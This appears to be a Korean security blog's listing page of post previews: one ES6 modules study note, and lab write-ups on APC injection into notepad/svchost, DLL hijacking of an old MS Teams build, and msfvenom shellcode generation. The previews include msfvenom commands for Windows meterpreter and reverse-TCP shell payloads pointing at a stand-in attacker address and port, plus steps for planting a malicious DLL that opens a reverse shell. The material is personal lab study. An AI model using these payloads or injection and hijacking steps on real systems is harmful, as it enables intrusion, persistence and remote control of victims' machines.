ES6 lessons 8. 모듈
·
프로그래밍/js
2023.04.02 자바스크립트 스터디 11회차 공부 사이트: https://poiemaweb.com/ 8. 모듈 모듈: 애플리케이션을 구성하는 개별적 요소. 재사용 가능한 코드 조각을 의미한다. 1) 모듈 스코프 HTML에서 자바스크립트 파일 2개를 로드하면 해당 파일들은 하나의 전역을 공유한다. 그러니 ES6의 모듈은 파일 자체의 스코프를 제공하기에, 독자적은 모듈 스코프를 갖는다. 모듈 내에서 var 키워드로 선언한 변수는 전역 변수가 아니게 되며, window 객체의 프로퍼티가 아니게 된다. // m1.mjs var x = 'test'; console.log(x); //console.log(window.x); //window is not defined // m2.mjs var x = 'TEST';..
APC injection 실습 (2)
·
System/침투
APC injection 실습 (2) 실습환경: windows 10 21H2 64bit 실습대상: notepad.exe 실습도구: visual studio 2022 17.1.1, Process Explorer v16.43​ 참고: (링크) [+] APC Injection 실습 (2) 간단정리 ​- 윈도우 프로세스의 일시 중지 된 프로세스를 합법적으로 생성 (예: svchost.exe) - 해당 프로세스(svchost.exe)에 메모리를 할당하고, 할당 받은 메모리 영역에 악성 코드를 씀 - 해당 프로세스(svchost.exe)의 메인 쓰레드에 비동기 프로시져 호출 (APC)을 대기 ▶ APC는 알람 가능한 상태(alertable state)일 때만 프로세스를 실행할 수 있기 때문에, NtTestAlert..
APC Injection 실습 (1)
·
System/침투
APC Injection 실습 (1) 실습환경: windows 10 21H2 64bit 실습대상: notepad.exe 실습도구: visual studio 2022 17.1.1, Process Explorer v16.43 참고: (링크) [+] APC Injection 간단정리 · QueueUserAPC(): 특정 스레드를 queue에 대기시키기 위해 APC 활용 · 각 스레드에는 독립적인 APC queue가 존재함. 응용 프로그램은 QueueUserAPC() 함수를 호출하여 APC를 스레드에 큐잉 · APC 큐잉 == 스레드가 APC 함수를 호출하기위한 요청 실습 (APC_injection_1.sln) ① calc.exe를 실행하는 페이로드 생성 ② 해당 페이로드를 코드에서 사용할 수 있도록 변형 (\..
3. APC(Asynchronous Procedure Call) Injection
·
System/침투
APC(Asynchronous Procedure Call) https://so106037.tistory.com/363 APC (Asynchronous procedure call) 참고 # Windows 시스템 프로그래밍 제 3판 JOHNSON M. HART 저 # Micosoft 설명서 (링크) APC (Asynchronous procedure call) 1. 개념 - 인자를 전달받아 바로 호출하는 SPC(Synchronous Procedure Calls) 함수와 달리, APC 는 so106037.tistory.com APC Injection 참고 및 출처: MITRE-ATT&CK 공격자들은 프로세스 기반 방어를 회피하고 권한을 높이기 위해 APC queue를 사용하여 악성코드를 프로세스에 인젝션할 수 ..
Metasploit msfvenom 통한 쉘코드 생성
·
System/침투
msfvenom 메타스플로잇 프레임워크에 포함되어있는 도구. exploit 실행 파일, 쉘코드 생성 가능 // payloads 관련 모듈 리스트 확인 가능 msfvenom -l payloads [example] 리버스 쉘을 위한 쉘코드 작성 (출력 형식 : c언어) msfvenom -p windows/meterpreter/reverse_tcp LHOST=123.123.123.123 LPORT=4444 -f c format list (-f 옵션) 실행 가능한 포맷 변환 가능한 포맷 asp aspx aspx-exe axis2 dll ducky-script-psh elf elf-so exe exe-only exe-service exe-small hta-psh jar jsp loop-vbs macho msi m..
APC (Asynchronous procedure call)
·
System/OS
참고 # Windows 시스템 프로그래밍 제 3판 JOHNSON M. HART 저 # Micosoft 설명서 (링크) APC (Asynchronous procedure call) 1. 개념 - 인자를 전달받아 바로 호출하는 SPC(Synchronous Procedure Calls) 함수와 달리, APC 는 특정 스레드의 컨텍스트에서 실행되기 위해 queue 에 삽입되는 비동기적으로 실행되는 함수임 - 정규 실행 경로를 실행하기 전에 스레드가 다른 코드를 실행하도록 하는 것이 가능 - 모든 스레드는 스레드에 첨부된 APC queue 를 가짐. - 시스템 전체에 걸쳐 있는 DPC queue 와는 달리 APC queue 는 스레드 별로 독립적으로 존재한다. ① 스레드가 alertable wait 상태일 때 애..
DLL Hijacking 실습 (4) - 리버스 쉘
·
System/침투
DLL Hijacking 실습 (4) - 리버스 쉘 실습환경: windows 10 21H2 64bit 실습대상: microsoft team v.1.3.00.24758 실습도구: gcc, procmon, vscode 1.660, visual studio 2022 17.1.1 참고: (링크) 실습 (3)에 이어서.. MS Teams가 실행될 떄마다 reverse TCP shell이 실행되도록 할 것이다. 하이잭할 DLL은 cscapi.dll ① 악성 페이로드 생성 우선, payload에 넣어 줄 리버스 쉘 데이터가 필요하다. 메타스플로잇 프레임워크에 포함된 msfvenom을 통해 페이로드를 생성한다. (msfvenom 관련 게시글) msfvenom -p windows/x64/shell_reverse_tcp ..
DLL Hijacking 실습 (3)
·
System/침투
DLL hijacking 실습 (3) 실습환경: windows 10 21H2 64bit 실습대상: microsoft team v.1.3.00.24758 실습도구: gcc, procmon, vscode 1.660, visual studio 2022 17.1.1 참고: (링크) Teams 구버전을 대상으로 실습할 것. 필터링 걸어서 결과값이 NAME NOT FOUND인 DLL 확인 1트 ① DWrite.dll 하이잭 그냥 C:\ 경로에서 검색해서 찾았다. ② dll_stealing_fuc.py 스크립트 실행해서 def만들기. ③ evildll.cpp 컴파일 with DWrite.dll ④ MS Teams 폴더 (Teams.exe가 존재하는 폴더) 에 넣어주기 ⑤ MS Teams 실행 안된다. 쉽지않다. 2트..